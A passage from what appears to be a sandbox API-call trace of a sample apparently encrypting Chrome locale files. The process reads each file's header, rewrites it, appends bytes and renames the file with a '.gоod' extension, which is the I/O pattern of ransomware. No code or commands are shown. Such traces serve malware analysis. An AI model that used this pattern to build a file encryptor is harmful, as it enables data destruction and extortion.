lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x0) returned 0x4c [0102.718] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak.gоod", lpFilePart=0x0) returned 0x51 [0102.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0102.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x39712840, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f4e9)) returned 1 [0102.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0102.718] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\el.pak.gоod")) returned 1 [0102.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x0) returned 0x4f [0102.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0102.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), fInfoLevelId=0x0, lpFileInformation=0x36924e8 | out: lpFileInformation=0x36924e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518b6564, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af54)) returned 1 [0102.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0102.720] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x0) returned 0x4f [0102.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.720] GetFileType (hFile=0x768) returned 0x1 [0102.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.720] GetFileType (hFile=0x768) returned 0x1 [0102.720] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0102.720] ReadFile (in: hFile=0x768, lpBuffer=0x3692910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3692910*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0102.739] CloseHandle (hObject=0x768) returned 1 [0102.740] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x0) returned 0x4f [0102.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.740] GetFileType (hFile=0x768) returned 0x1 [0102.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.740] GetFileType (hFile=0x768) returned 0x1 [0102.740] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3af54 [0102.740] WriteFile (in: hFile=0x768, lpBuffer=0x34b2858*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x34b2858*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0102.866] CloseHandle (hObject=0x768) returned 1 [0102.866] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x0) returned 0x4f [0102.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0102.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0102.866] GetFileType (hFile=0x768) returned 0x1 [0102.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0102.866] GetFileType (hFile=0x768) returned 0x1 [0102.866] ReadFile (in: hFile=0x768, lpBuffer=0x354b470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x354b470*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0103.281] CloseHandle (hObject=0x768) returned 1 [0103.281] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x0) returned 0x4f [0103.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0103.281] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0103.282] GetFileType (hFile=0x768) returned 0x1 [0103.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0103.282] GetFileType (hFile=0x768) returned 0x1 [0103.282] WriteFile (in: hFile=0x768, lpBuffer=0x354a1c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x354a1c0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0103.282] CloseHandle (hObject=0x768) returned 1 [0103.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x0) returned 0x4f [0103.282] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak.gоod", lpFilePart=0x0) returned 0x54 [0103.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0103.282] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x39c6c3d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3af64)) returned 1 [0103.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0103.282] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-gb.pak.gоod")) returned 1 [0103.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0103.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0103.283] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), fInfoLevelId=0x0, lpFileInformation=0x35670f8 | out: lpFileInformation=0x35670f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518d8844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b0d9)) returned 1 [0103.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0103.283] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0103.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0103.283] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0103.284] GetFileType (hFile=0x768) returned 0x1 [0103.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0103.284] GetFileType (hFile=0x768) returned 0x1 [0103.284] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0103.284] ReadFile (in: hFile=0x768, lpBuffer=0x3567520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3567520*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0103.285] CloseHandle (hObject=0x768) returned 1 [0103.285] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0103.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0103.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0103.285] GetFileType (hFile=0x768) returned 0x1 [0103.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0103.286] GetFileType (hFile=0x768) returned 0x1 [0103.286] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3b0d9 [0103.286] WriteFile (in: hFile=0x768, lpBuffer=0x35687c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35687c0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0103.287] CloseHandle (hObject=0x768) returned 1 [0103.287] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0103.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0103.287] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0103.287] GetFileType (hFile=0x768) returned 0x1 [0103.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0103.287] GetFileType (hFile=0x768) returned 0x1 [0103.287] ReadFile (in: hFile=0x768, lpBuffer=0x356aa88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x356aa88*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0103.595] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0104.020] CloseHandle (hObject=0x768) returned 1 [0104.020] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0104.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.020] GetFileType (hFile=0x768) returned 0x1 [0104.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.020] GetFileType (hFile=0x768) returned 0x1 [0104.020] WriteFile (in: hFile=0x768, lpBuffer=0x31ee0c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x31ee0c0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0104.021] CloseHandle (hObject=0x768) returned 1 [0104.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x0) returned 0x4f [0104.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak.gоod", lpFilePart=0x0) returned 0x54 [0104.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0104.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x3a36d243, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b0e9)) returned 1 [0104.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0104.021] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\en-us.pak.gоod")) returned 1 [0104.054] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x0) returned 0x50 [0104.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0104.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), fInfoLevelId=0x0, lpFileInformation=0x3414aa8 | out: lpFileInformation=0x3414aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518e99b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46331)) returned 1 [0104.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0104.054] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x0) returned 0x50 [0104.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.054] GetFileType (hFile=0x768) returned 0x1 [0104.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.055] GetFileType (hFile=0x768) returned 0x1 [0104.055] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0104.055] ReadFile (in: hFile=0x768, lpBuffer=0x3414ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x3414ee0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0104.060] CloseHandle (hObject=0x768) returned 1 [0104.060] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x0) returned 0x50 [0104.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.060] GetFileType (hFile=0x768) returned 0x1 [0104.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.061] GetFileType (hFile=0x768) returned 0x1 [0104.061] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x46331 [0104.061] WriteFile (in: hFile=0x768, lpBuffer=0x3419950*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x3419950*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0104.063] CloseHandle (hObject=0x768) returned 1 [0104.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x0) returned 0x50 [0104.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0104.063] GetFileType (hFile=0x768) returned 0x1 [0104.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.063] GetFileType (hFile=0x768) returned 0x1 [0104.063] ReadFile (in: hFile=0x768, lpBuffer=0x341bc60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x341bc60*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0104.134] CloseHandle (hObject=0x768) returned 1 [0104.595] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x0) returned 0x50 [0104.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0104.595] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\es-419.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0104.595] GetFileType (hFile=0x7dc) returned 0x1 [0104.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0104.595] GetFileType (hFile=0x7dc) returned 0x1 [0104.595] WriteFile (in: hFile=0x7dc, lpBuffer=0x325e2b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x325e2b8*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0104.595] CloseHandle (hObject=0x7dc) returned 1 [0104.595] GetFullPathNameW (in: lpFileName="C:\\Program Files 